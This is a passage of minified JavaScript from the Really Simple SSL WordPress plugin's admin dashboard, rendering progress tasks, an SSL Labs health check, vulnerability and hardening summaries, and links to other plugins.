rsssl-h4"},t.title),(0,l.createElement)("div",{className:"rsssl-grid-item-controls"}))),(0,l.createElement)("div",{key:"content-"+t.id,className:"rsssl-grid-item-content"},wp.element.createElement(e.block.content)),!s&&(0,l.createElement)("div",{key:"footer-"+t.id,className:"rsssl-grid-item-footer"}),s&&(0,l.createElement)("div",{key:"footer-"+t.id,className:"rsssl-grid-item-footer"},wp.element.createElement(s)))};var r=t(7723),n=t(6087),c=t(2828);const i=()=>{const{setFilter:e,filter:s,fetchFilter:t,notices:a,error:i}=(0,c.A)();(0,n.useEffect)((()=>{t()}),[]);const o=s=>{let t=s.target.getAttribute("data-filter");"all"!==t&&"remaining"!==t||e(t)};if(i)return(0,l.createElement)(l.Fragment,null);let m=0,d=0;return m=a.length,d=a.filter((function(e){return"open"===e.output.status||"warning"===e.output.status})).length,(0,l.createElement)(l.Fragment,null,(0,l.createElement)("h3",{className:"rsssl-grid-title rsssl-h4"},(0,r.__)("Progress","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("div",{className:"rsssl-task-switcher-container rsssl-active-filter-"+s},(0,l.createElement)("span",{className:"rsssl-task-switcher rsssl-all-tasks",onClick:o,htmlFor:"rsssl-all-tasks","data-filter":"all"},(0,r.__)("All tasks","really-simple-ssl"),(0,l.createElement)("span",{className:"rsssl_task_count"},"(",m,")")),(0,l.createElement)("span",{className:"rsssl-task-switcher rsssl-remaining-tasks",onClick:o,htmlFor:"rsssl-remaining-tasks","data-filter":"remaining"},(0,r.__)("Remaining tasks","really-simple-ssl"),(0,l.createElement)("span",{className:"rsssl_task_count"},"(",d,")")))))};var o=t(9684);const m=e=>{const{percentageCompleted:s,progressText:t,filter:a,notices:i,progressLoaded:m,getProgressData:u,error:g}=(0,c.A)();(0,n.useEffect)((()=>{u()}),[]);const h=()=>Object.assign({},{width:s+"%"});let p="";if(s<80&&(p+="rsssl-orange"),!m||g)return(0,l.createElement)("div",{className:"rsssl-progress-block"},(0,l.createElement)("div",{className:"rsssl-progress-bar"},(0,l.createElement)("div",{className:"rsssl-progress"},(0,l.createElement)("div",{className:"rsssl-bar rsssl-orange",style:h()}))),(0,l.createElement)("div",{className:"rsssl-progress-text"},(0,l.createElement)("h1",{className:"rsssl-progress-percentage"},"0%"),(0,l.createElement)("h5",{className:"rsssl-progress-text-span"},(0,r.__)("Loading...","really-simple-ssl"))),(0,l.createElement)("div",{className:"rsssl-scroll-container"},(0,l.createElement)("div",{className:"rsssl-task-element"},(0,l.createElement)("span",{className:"rsssl-task-status rsssl-loading"},(0,r.__)("Loading...","really-simple-ssl")),(0,l.createElement)("p",{className:"rsssl-task-message"},(0,r.__)("Loading...","really-simple-ssl")))));let f=i;return"remaining"===a&&(f=f.filter((function(e){return"open"===e.output.status||"warning"===e.output.status}))),(0,l.createElement)("div",{className:"rsssl-progress-block"},(0,l.createElement)("div",{className:"rsssl-progress-bar"},(0,l.createElement)("div",{className:"rsssl-progress"},(0,l.createElement)("div",{className:"rsssl-bar "+p,style:h()}))),(0,l.createElement)("div",{className:"rsssl-progress-text"},(0,l.createElement)(d,{percentageCompleted:s}),(0,l.createElement)("h5",{className:"rsssl-progress-text-span"},t)),(0,l.createElement)("div",{className:"rsssl-scroll-container"},f.map(((e,s)=>(0,l.createElement)(o.A,{key:"task-"+s,notice:e})))))},d=({percentageCompleted:e})=>{const[s,t]=(0,n.useState)(0),a=(0,n.useRef)(0);return(0,n.useEffect)((()=>{const s=a.current,l=Date.now(),r=setInterval((()=>{const n=Date.now()-l,c=Math.min(n/1e3,1),i=(o=c,1-Math.pow(1-o,3));var o;const m=Math.min(s+(e-s)*i,e);c<1?(t(m),a.current=e):clearInterval(r)}),16);return()=>clearInterval(r)}),[e]),(0,l.createElement)("h1",{className:"rsssl-progress-percentage"},Math.round(s),"%")};var u=t(4937),g=t(6975),h=t(7283);const p=e=>{const{setShowOnBoardingModal:s}=(0,h.A)(),{fields:t}=(0,g.A)();let a=t.filter((e=>"enable_vulnerability_scanner"===e.id))[0].value,n=t.filter((e=>"ssl_enabled"===e.id))[0].value,c=rsssl_settings.wpconfig_fix_required,i=t.filter((e=>"enable_firewall"===e.id))[0].value,o=(0,r.__)("SSL","really-simple-ssl"),m=n?"circle-check":"circle-times",d=n?"green":"red",p=a?"circle-check":"circle-times",f=a?"green":"red",v=i?"circle-check":"circle-times",E=i?"green":"red";return(0,l.createElement)(l.Fragment,null,!n&&(0,l.createElement)("button",{disabled:c,onClick:()=>s(!0),className:"button button-primary"},(0,r.__)("Activate SSL","really-simple-ssl")),rsssl_settings.pro_plugin_active&&(0,l.createElement)("span",{className:"rsssl-footer-left"},"Really Simple Security Pro ",rsssl_settings.pro_version),!rsssl_settings.pro_plugin_active&&(0,l.createElement)("a",{href:rsssl_settings.upgrade_link,target:"_blank",rel:"noopener noreferrer",className:"button button-default"},(0,r.__)("Go Pro","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-legend"},(0,l.createElement)(u.default,{name:m,color:d}),(0,l.createElement)("div",{className:"rsssl-progress-footer-link"},(0,l.createElement)("a",{href:"#settings/encryption"},o))),(0,l.createElement)("div",{className:"rsssl-legend"},(0,l.createElement)(u.default,{name:v,color:E}),(0,l.createElement)("div",{className:"rsssl-progress-footer-link"},i?(0,l.createElement)("a",{href:"#settings/rules"},(0,r.__)("Firewall","really-simple-ssl")):(0,l.createElement)("a",{href:"#settings/firewall&highlightfield=enable_firewall"},(0,r.__)("Firewall","really-simple-ssl")))),(0,l.createElement)("div",{className:"rsssl-legend"},(0,l.createElement)(u.default,{name:p,color:f}),(0,l.createElement)("div",{className:"rsssl-progress-footer-link"},a?(0,l.createElement)("a",{href:"#settings/vulnerabilities"},(0,r.__)("Vulnerability scan","really-simple-ssl")):(0,l.createElement)("a",{href:"#settings/vulnerabilities&highlightfield=enable_vulnerability_scanner"},(0,r.__)("Vulnerability scan","really-simple-ssl")))))},f=()=>(0,l.createElement)(l.Fragment,null,(0,l.createElement)("h3",{className:"rsssl-grid-title rsssl-h4"},(0,r.__)("Status","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("span",{className:"rsssl-header-html"}," ",(0,r.__)("Powered by Qualys","really-simple-ssl"))));var v=t(3056);const E=(e,s=new Date)=>{if("number"==typeof e&&(e.toString().length<13&&(e*=1e3),e=new Date(e)),!(e instanceof Date))return"-";let t={year:31536e6,month:2628e6,day:864e5,hour:36e5,minute:6e4,second:1e3},l=new Intl.RelativeTimeFormat("en",{numeric:"auto"}),a=e-s;for(let e in t)if(Math.abs(a)>t[e]||"second"===e)return l.format(Math.round(a/t[e]),e)};var w=t(6155);const C=({className:e,content:s,id:t})=>{const[a,r]=(0,n.useState)(!1);let c=a?"rsssl-hover":"";return(0,l.createElement)("div",{key:"score_container-"+t,className:"rsssl-score-container"},(0,l.createElement)("div",{onMouseEnter:()=>r(!0),onMouseLeave:()=>r(!1),className:"rsssl-score-snippet "+e+" "+c},s))},b=()=>{const{dataLoaded:e,clearCache:s,endpointData:t,setEndpointData:a,sslData:c,setSslData:i,sslScanStatus:o,setSslScanStatus:m,isLocalHost:d,fetchSslData:g,runSslTest:h,intervalId:p,setIntervalId:f,requestActive:b,setRequestActive:_,setClearCache:y}=(0,v.A)(),N=(0,n.useRef)(!1);(0,n.useEffect)((()=>{e||g()}),[]);const k=()=>!c;(0,n.useEffect)((()=>{if(d())return;"active"===o&&c.summary&&c.summary.progress>=100&&(y(!0),N.current=!1,i(!1),a(!1)),"active"===o&&"ERROR"===c.status&&(y(!0),i(!1),a(!1));let e=c&&"READY"!==c.status,t="active"===o;s&&(e=!0);let l=c.errors||"ERROR"===c.status;if(b||l||!e&&!t)c&&"READY"===c.status&&(m("completed"),clearInterval(p));else if(m("active"),_(!0),!N.current){if(h(),!p){let e=setInterval((function(){h()}),4e3);f(e)}N.current=!0}}),[o,c]);const S=()=>{let e=0;return c&&c.summary.progress?e=c.summary.progress:0==e&&"active"===o&&(e=5),Object.assign({},{width:e+"%"})},M=(e,s,t)=>(0,l.createElement)(C,{className:e,content:s,id:t}),z=e=>{let s=0;return s=0==e?0:e<128?20:e<256?80:100,s};let x="rsssl-inactive",L=c?c.summary.progress:0,H=!!c&&c.summary.startTime,A="";H?((new Date).setTime(H),A=E(H)):A=(0,r.__)("No test started yet","really-simple-ssl");let V=!!c&&c.summary.statusMessage,D=c?c.summary.grade:"?";c&&"READY"===c.status&&(x=-1!==D.indexOf("A")?"rsssl-success":"rsssl-error"),k()&&(x="rsssl-inactive"),k();let F="https://www.ssllabs.com/analyze.html?d="+encodeURIComponent(window.location.protocol+"//"+window.location.host),B=!1,R="",I="black";return d()?(B=!0,I="red",R=(0,r.__)("Not available on localhost","really-simple-ssl")):c&&(c.errors||"ERROR"===c.status)?(B=!0,I="red",R=V):c&&L<100&&(B=!0,I="orange",R=V),(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-ssl-labs"},(0,l.createElement)("div",{className:"rsssl-gridblock-progress-container "+x},(0,l.createElement)("div",{className:"rsssl-gridblock-progress",style:S()})),(0,l.createElement)("div",{className:"rsssl-gridblock-progress",style:S()}),(0,l.createElement)("div",{className:"rsssl-ssl-labs-select "+x},(0,l.createElement)("div",{className:"rsssl-ssl-labs-select-item"},(()=>{let e="processing";return k()&&(e="inactive"),t&&t.length>0&&(e="success",t.forEach((function(s,t){s.details.protocols&&s.details.protocols.forEach((function(s,t){"1.1"===s.version&&(e="error")}))}))),(0,l.createElement)(l.Fragment,null,"inactive"===e&&M("rsssl-test-inactive","Protocol support","protocol"),"processing"===e&&M("rsssl-test-processing","Protocol support...","protocol"),"error"===e&&M("rsssl-test-error","Supports TLS 1.1","protocol"),"success"===e&&M("rsssl-test-success","No TLS 1.1","protocol"))})(),(()=>{let e="processing";return k()&&(e="inactive"),t&&t.length>0&&(e=t.filter((function(e){return e.details.hstsPolicy&&"present"!==e.details.hstsPolicy.status})).length>0?"error":"success"),(0,l.createElement)(l.Fragment,null,"inactive"===e&&M("rsssl-test-inactive","HSTS","hsts"),"processing"===e&&M("rsssl-test-processing","HSTS...","hsts"),"error"===e&&M("rsssl-test-error","No HSTS header","hsts"),"success"===e&&M("rsssl-test-success","HSTS header detected","hsts"))})(),(()=>{let e="processing";return k()&&(e="inactive"),t&&t.length>0&&(e=t.filter((function(e){return e.grade&&-1===e.grade.indexOf("A")})).length>0?"error":"success"),(0,l.createElement)(l.Fragment,null,"inactive"===e&&M("rsssl-test-inactive","Certificate","certificate"),"processing"===e&&M("rsssl-test-processing","Certificate...","certificate"),"error"===e&&!B&&M("rsssl-test-error","Certificate issue","certificate"),"success"===e&&M("rsssl-test-success","Valid certificate","certificate"))})(),(()=>{let e=0,s="rsssl-test-processing";if(k()&&(s="rsssl-test-inactive"),t&&t.length>0){let l=256,a=128;t.forEach((function(e,s){e.details.suites&&e.details.suites.forEach((function(e,s){e.list.forEach((function(e,s){l=e.cipherStrength<l?e.cipherStrength:l,a=e.cipherStrength>a?e.cipherStrength:a}))}))})),e=(z(l)+z(a))/2,e=Math.round(e),s=e>70?"rsssl-test-success":"rsssl-test-error"}return(0,l.createElement)(l.Fragment,null,M(s,(0,r.__)("Cipher strength","really-simple-ssl")+" "+e+"%","cipher"))})()),(0,l.createElement)("div",{className:"rsssl-ssl-labs-select-item"},k()?(0,l.createElement)("h2",{className:"big-number"},"?"):(0,l.createElement)("h2",{className:"big-number"},D),k()&&(0,l.createElement)("div",null))),(0,l.createElement)("div",{className:"rsssl-ssl-labs-list"},(0,l.createElement)("div",{className:"rsssl-ssl-labs-list-item"},(0,l.createElement)(u.default,{name:"info",color:I}),(0,l.createElement)("p",{className:"rsssl-ssl-labs-list-item-text"},B&&R,!B&&(0,r.__)("What does my score mean?","really-simple-ssl")),(0,l.createElement)("a",{href:(0,w.g)("https://really-simple-ssl.com/instructions/about-ssl-labs/"),target:"_blank",rel:"noopener noreferrer"},(0,r.__)("Read more","really-simple-ssl"))),(0,l.createElement)("div",{className:"rsssl-ssl-labs-list-item"},(0,l.createElement)(u.default,{name:"list",color:"black"}),(0,l.createElement)("p",{className:"rsssl-ssl-labs-list-item-text"},(0,r.__)("Last check:","really-simple-ssl")),(0,l.createElement)("p",{className:"rsssl-ssl-labs-list-item-text"},A)),(0,l.createElement)("div",{className:"rsssl-ssl-labs-list-item"},(0,l.createElement)(u.default,{name:"external-link",color:"black"}),(0,l.createElement)("a",{href:F,target:"_blank",rel:"noopener noreferrer"},(0,r.__)("View detailed report on Qualys SSL Labs","really-simple-ssl"))))))},_=()=>{const{sslScanStatus:e,setSslScanStatus:s,isLocalHost:t}=(0,v.A)();let a="active"===e||t();return(0,l.createElement)(l.Fragment,null,(0,l.createElement)("button",{disabled:a,onClick:e=>s("active"),className:"button button-default"},"paused"===e&&(0,r.__)("Continue SSL Health check","really-simple-ssl"),"paused"!==e&&(0,r.__)("Check SSL Health","really-simple-ssl")))},y=()=>{const{fields:e,getFieldValue:s}=(0,g.A)(),[t,a]=(0,l.useState)(!1);return(0,l.useEffect)((()=>{1==s("enable_vulnerability_scanner")&&a(!0)}),[e]),(0,l.createElement)(l.Fragment,null,(0,l.createElement)("h3",{className:"rsssl-grid-title rsssl-h4"},t?(0,r.__)("Vulnerabilities","really-simple-ssl"):(0,r.__)("Hardening","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("span",{className:"rsssl-header-html"})))};var N=t(4449);const k=()=>{const{vulnerabilities:e,vulnerabilityScore:s,updates:t,dataLoaded:a,fetchVulnerabilities:n}=(0,N.A)(),{fields:c,getFieldValue:i}=(0,g.A)(),[o,m]=(0,l.useState)(""),[d,h]=(0,l.useState)(""),[p,f]=(0,l.useState)(""),[v,E]=(0,l.useState)(""),[w,C]=(0,l.useState)(""),[b,_]=(0,l.useState)(""),[y,k]=(0,l.useState)(0),[S,M]=(0,l.useState)(!1);(0,l.useEffect)((()=>{1==i("enable_vulnerability_scanner")&&M(!0)}),[c]),(0,l.useEffect)((()=>{a||n()}),[S]),(0,l.useEffect)((()=>{const s=1===e?(0,r.__)("vulnerability","really-simple-ssl"):(0,r.__)("vulnerabilities","really-simple-ssl");E(s.charAt(0).toUpperCase()+s.slice(1)),m(s);const l=1===t?(0,r.__)("update","really-simple-ssl"):(0,r.__)("updates","really-simple-ssl"),a=(0,r._n)("You have %s update pending","You have %s updates pending",t,"really-simple-ssl").replace("%s",t);h(l),f(l.charAt(0).toUpperCase()+l.slice(1)),C(a);const n=1===y?(0,r.__)("hardening feature","really-simple-ssl"):(0,r.__)("hardening features","really-simple-ssl");_(n)}),[e,t,y]),(0,l.useEffect)((()=>{if(c.length>0){let e=c.filter((e=>e.recommended));e=e.filter((e=>1!==e.value&&!0!==e.disabled)),k(e.length)}}),[c]);let z="rsssl-inactive",x=S?"rsp-success":"rsp-default",L="rsp-success",H="green",A="black";if(S||y>0||t>0){let e=s();e>=5?(x="rsp-critical",H="red"):e<4&&e>0&&(x="rsp-medium",H="yellow"),t>=5?(L="rsp-critical",A="red"):e<5&&e>0&&(L="rsp-medium",A="yellow"),e<y&&(e=y),e<t&&(e=t),z=0===e?"rsssl-success":e<5?"rsssl-warning":"rsssl-error"}const V={marginLeft:"0.3em"};return(0,l.createElement)(l.Fragment,null,a?(0,l.createElement)("div",{className:"rsssl-hardening"},(0,l.createElement)("div",{className:"rsssl-gridblock-progress"}),(0,l.createElement)("div",{className:"rsssl-hardening-select "+z},(0,l.createElement)("div",{className:"rsssl-hardening-select-item"},S?(0,l.createElement)(u.default,{color:H,size:23,name:"radar-duotone"}):(0,l.createElement)(u.default,{size:23,color:"red",name:"satellite-dish-duotone"}),(0,l.createElement)("h2",null,S?e:"?"),(0,l.createElement)("span",{className:"rsssl-badge "+x},v)),(0,l.createElement)("div",{className:"rsssl-hardening-select-item"},t?(0,l.createElement)(u.default,{size:23,color:A,name:"rotate-exclamation-light"}):(0,l.createElement)(u.default,{size:23,color:"black",name:"rotate-light"}),(0,l.createElement)("h2",null,t),(0,l.createElement)("span",{className:"rsssl-badge "+L},p))),(0,l.createElement)("div",{className:"rsssl-hardening-list"},(()=>{if(y){let e="circle-check",s="green";return y>0&&(e="info",s="yellow"),y>=5&&(e="circle-times",s="red"),(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:e,color:s}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("You have %s open %d","really-simple-ssl").replace("%s",y).replace("%d",b)),(0,l.createElement)("a",{href:"#settings/hardening"},(0,r.__)("Settings","really-simple-ssl"))))}return(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:"circle-check",color:"green"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("Hardening features are configured","really-simple-ssl"))))})(),S?(0,l.createElement)(l.Fragment,null):(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:"info",color:"yellow"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"}," ",(0,r.__)("Enable vulnerability detection","really-simple-ssl")),(0,l.createElement)("a",{href:"#settings/vulnerabilities"},(0,r.__)("Enable","really-simple-ssl")))),(()=>{let t="circle-check",a="green";return s()>0&&(t="info",a="yellow"),s()>=5&&(t="circle-times",a="red"),S?e?(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:t,color:a}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("You have %s %d","really-simple-ssl").replace("%s",e).replace("%d",o)),(0,l.createElement)("a",{style:V,href:"#settings/vulnerabilities"},(0,r.__)("Learn more","really-simple-ssl")))):(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:"circle-check",color:"green"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("You have %s %d","really-simple-ssl").replace("%d",o).replace("%s",e)))):(0,l.createElement)(l.Fragment,null)})(),(()=>{let e="circle-check",s="green";return t>0&&(e="info",s="yellow"),t>=5&&(e="circle-times",s="red"),t?(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:e,color:s}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},w),(0,l.createElement)("a",{href:rsssl_settings.plugins_url+"?plugin_status=upgrade",style:V},p))):(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{name:e,color:s}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},w)))})())):(0,l.createElement)("div",{className:"rsssl-hardening"},(0,l.createElement)("div",{className:"rsssl-gridblock-progress"}),(0,l.createElement)("div",{className:"rsssl-hardening-select"},(0,l.createElement)("div",{className:"rsssl-hardening-select-item"},(0,l.createElement)(u.default,{size:23,color:"grey",name:"radar-duotone"}),(0,l.createElement)("h2",null,"0"),(0,l.createElement)("span",{className:"rsssl-badge rsp-default"},v)),(0,l.createElement)("div",{className:"rsssl-hardening-select-item"},(0,l.createElement)(u.default,{size:23,color:"grey",name:"rotate-exclamation-light"}),(0,l.createElement)("h2",null,"0"),(0,l.createElement)("span",{className:"rsssl-badge rsp-default"},p))),(0,l.createElement)("div",{className:"rsssl-hardening-list"},(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{color:"grey",name:"circle-check"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("Loading...","really-simple-ssl"))),(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{color:"grey",name:"circle-check"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("Loading...","really-simple-ssl"))),(0,l.createElement)("div",{className:"rsssl-hardening-list-item"},(0,l.createElement)(u.default,{color:"grey",name:"circle-check"}),(0,l.createElement)("p",{className:"rsssl-hardening-list-item-text"},(0,r.__)("Loading...","really-simple-ssl"))))))},S=e=>{const{lastChecked:s}=(0,N.A)(),{fields:t,getFieldValue:a}=(0,g.A)(),[c,i]=(0,n.useState)(!1);return(0,n.useEffect)((()=>{1==a("enable_vulnerability_scanner")&&i(!0)}),[t]),(0,l.createElement)(l.Fragment,null,(0,l.createElement)("a",{href:"#settings/vulnerabilities",className:"button button-default"},(0,r.__)("Settings","really-simple-ssl")),c?(0,l.createElement)("p",{className:"rsssl-small-text"},E(s)):null)},M=({link:e,content:s})=>(0,l.createElement)("div",{className:"rsssl-tips-tricks-element"},(0,l.createElement)("a",{href:e,target:"_blank",rel:"noopener noreferrer",title:s},(0,l.createElement)("div",{className:"rsssl-icon"},(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:"15"},(0,l.createElement)("path",{fill:"var(--rsp-grey-300)",d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),(0,l.createElement)("div",{className:"rsssl-tips-tricks-content"},s))),z=()=>(0,l.createElement)("div",{className:"rsssl-tips-tricks-container"},[{content:"Why WordPress is (in)secure",link:"https://really-simple-ssl.com/why-wordpress-is-insecure/"},{content:"Always be ahead of vulnerabilities",link:"https://really-simple-ssl.com/staying-ahead-of-vulnerabilities/"},{content:"Harden your website's security",link:"https://really-simple-ssl.com/hardening-your-websites-security/"},{content:"Login protection as essential security",link:"https://really-simple-ssl.com/login-protection-as-essential-security/"},{content:"Protect site visitors with Security Headers",link:"https://really-simple-ssl.com/protecting-site-visitors-with-security-headers"},{content:"Enable an efficient and performant firewall",link:"https://really-simple-ssl.com/enable-an-efficient-and-performant-firewall/"}].map(((e,s)=>(0,l.createElement)(M,{key:"trick-"+s,link:(0,w.g)(e.link),content:e.content})))),x=()=>(0,l.createElement)(l.Fragment,null,(0,l.createElement)("a",{href:(0,w.g)("https://really-simple-ssl.com/knowledge-base-overview/"),target:"_blank",rel:"noopener noreferrer",className:"button button-secondary"},(0,r.__)("Documentation","really-simple-ssl"))),L=()=>(0,l.createElement)(l.Fragment,null,(0,l.createElement)("h3",{className:"rsssl-grid-title rsssl-h4"},(0,r.__)("Other Plugins","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("span",{className:"rsssl-header-html"},(0,l.createElement)("a",{className:"rsp-logo",href:"https://really-simple-plugins.com/"},(0,l.createElement)("img",{src:rsssl_settings.plugin_url+"assets/img/really-simple-plugins.svg",alt:"Really Simple Plugins"})))));var H=t(9695),A=t(1621),V=t(4110);const D=(0,A.vt)(((e,s)=>({error:!1,dataLoaded:!1,pluginData:[],updatePluginData:(t,l)=>{let a=s().pluginData;a.forEach((function(e,s){e.slug===t&&(a[s]=l)})),e((e=>({dataLoaded:!0,pluginData:a})))},getPluginData:e=>s().pluginData.filter((s=>s.slug===e))[0],fetchOtherPluginsData:async()=>{const{pluginData:s,error:t}=await V.Eo("otherpluginsdata").then((e=>{let s=[];s=e.plugins;let t=e.error;return t||s.forEach((function(e,t){s[t].pluginActionNice=F(e.pluginAction)})),{pluginData:s,error:t}}));e((e=>({dataLoaded:!0,pluginData:s,error:t})))},pluginActions:(e,t,l)=>{l&&l.preventDefault();let a={};a.slug=e,a.pluginAction=t;let r=s().getPluginData(e);"download"===t?r.pluginAction="downloading":"activate"===t&&(r.pluginAction="activating"),r.pluginActionNice=F(r.pluginAction),s().updatePluginData(e,r),"installed"!==t&&"upgrade-to-premium"!==t&&V.Eo("plugin_actions",a).then((t=>{r=t,s().updatePluginData(e,r),s().pluginActions(e,r.pluginAction)}))}}))),F=e=>({download:(0,r.__)("Install","really-simple-ssl"),activate:(0,r.__)("Activate","really-simple-ssl"),activating:(0,r.__)("Activating...","really-simple-ssl"),downloading:(0,r.__)("Downloading...","really-simple-ssl"),"upgrade-to-premium":(0,r.__)("Downloading...","really-simple-ssl")}[e]),B=()=>{const{dataLoaded:e,pluginData:s,pluginActions:t,fetchOtherPluginsData:a,error:c}=D();return(0,n.useEffect)((()=>{e||a()}),[]),!e||c?(0,l.createElement)(H.A,{lines:"3",error:c}):(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-other-plugins-container"},s.map(((e,s)=>((e,s)=>(0,l.createElement)("div",{key:"plugin"+s,className:"rsssl-other-plugins-element rsssl-"+e.slug},(0,l.createElement)("a",{href:e.wordpress_url,target:"_blank",rel:"noopener noreferrer",title:e.title},(0,l.createElement)("div",{className:"rsssl-bullet"}),(0,l.createElement)("div",{className:"rsssl-other-plugins-content"},e.title)),(0,l.createElement)("div",{className:"rsssl-other-plugin-status"},"upgrade-to-premium"===e.pluginAction&&(0,l.createElement)(l.Fragment,null,(0,l.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:e.upgrade_url},(0,r.__)("Upgrade","really-simple-ssl"))),"upgrade-to-premium"!==e.pluginAction&&"installed"!==e.pluginAction&&(0,l.createElement)(l.Fragment,null,(0,l.createElement)("a",{href:"#",onClick:s=>t(e.slug,e.pluginAction,s)},e.pluginActionNice)),"installed"===e.pluginAction&&(0,l.createElement)(l.Fragment,null,(0,r.__)("Installed","really-simple-ssl")))))(e,s)))))},R=e=>(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-grid-item rsssl-column-2 rsssl-dashboard-placeholder"}),(0,l.createElement)("div",{className:"rsssl-grid-item rsssl-row-2 rsssl-dashboard-placeholder"}),(0,l.createElement)("div",{className:"rsssl-grid-item rsssl-row-2 rsssl-dashboard-placeholder"}));var I=t(5170);const P=()=>{const{fieldsLoaded:e}=(0,g.A)(),s=[{id:"progress",header:i,content:m,footer:p,class:" rsssl-column-2"},{id:"ssllabs",header:f,content:b,footer:_,class:"border-to-border"},{id:"wpvul",header:y,content:k,footer:S,class:"border-to-border"},{id:"tips_tricks",title:(0,r.__)("Tips & Tricks","really-simple-ssl"),content:z,footer:x,class:" rsssl-column-2"},{id:"other-plugins",header:L,content:B,class:" rsssl-column-2 no-border no-background"}];return(0,l.createElement)(l.Fragment,null,!e&&(0,l.createElement)(R,null),e&&s.map(((e,s)=>(0,l.createElement)(I.A,{key:"grid_"+s,fallback:"Could not load dashboard block"},(0,l.createElement)(a,{block:e})))))}},2828:(e,s,t)=>{t.d(s,{A:()=>r});var l=t(1621),a=t(4110);const r=(0,l.vt)(((e,s)=>({filter:"all",progressText:"",notices:[],error:!1,percentageCompleted:0,progressLoaded:!1,setFilter:s=>{sessionStorage.rsssl_task_filter=s,e((e=>({filter:s})))},fetchFilter:()=>{if("undefined"!=typeof Storage&&sessionStorage.rsssl_task_filter){let s=sessionStorage.rsssl_task_filter;e((e=>({filter:s})))}},getProgressData:async()=>{const{percentage:s,text:t,notices:l,error:r}=await a.YA("progressData","refresh").then((e=>e));e((e=>({notices:l,percentageCompleted:s,progressText:t,progressLoaded:!0,error:r})))},dismissNotice:async t=>{let l=s().notices;l=l.filter((function(e){return e.id!==t})),e((e=>({notices:l})));const{percentage:r}=await a.YA("dismiss_task",t);e({percentageCompleted:r})}})))},3056:(e,s,t)=>{t.d(s,{A:()=>r});var l=t(1621),a=t(4110);const r=(0,l.vt)(((e,s)=>({debug:!1,sslScanStatus:!1,sslData:!1,endpointData:[],dataLoaded:!1,clearCache:!1,requestActive:!1,intervalId:!1,setIntervalId:s=>e({intervalId:s}),setRequestActive:s=>e({requestActive:s}),setSslScanStatus:s=>e({sslScanStatus:s}),setClearCache:s=>e({clearCache:s}),setSslData:s=>e({sslData:s}),setEndpointData:s=>e({endpointData:s}),isLocalHost:()=>!s().debug&&-1!==window.location.host.indexOf("localhost"),host:()=>s().debug?"wordpress.org":window.location.host,fetchSslData:async()=>{a.Eo("ssltest_get").then((t=>{if(t.data.hasOwnProperty("host")){let l=s().processSslData(t.data);e({sslData:l,endpointData:l.endpointData,dataLoaded:!0})}}))},getSslLabsData:t=>{let l="";s().clearCache&&(e({clearCache:!1,sslData:!1}),l="&startNew=on");const r="https://api.ssllabs.com/api/v3/analyze?host="+s().host()+l;let n={};return n.url=r,a.Eo("ssltest_run",n).then((e=>!(!e||e.errors)&&JSON.parse(e)))},runSslTest:()=>{s().getSslLabsData().then((t=>{if(t.status&&"ERROR"===t.status)t=s().processSslData(t),e({sslData:t,sslScanStatus:"completed"}),clearInterval(s().intervalId);else if(t.endpoints&&t.endpoints.filter((e=>"Ready"===e.statusMessage)).length>0){let l=t.endpoints.filter((e=>"Ready"===e.statusMessage)),r=l[l.length-1].ipAddress;s().getEndpointData(r).then((l=>{let r=s().endpointData;if(Array.isArray(r)||(r=[]),!l.errors){let 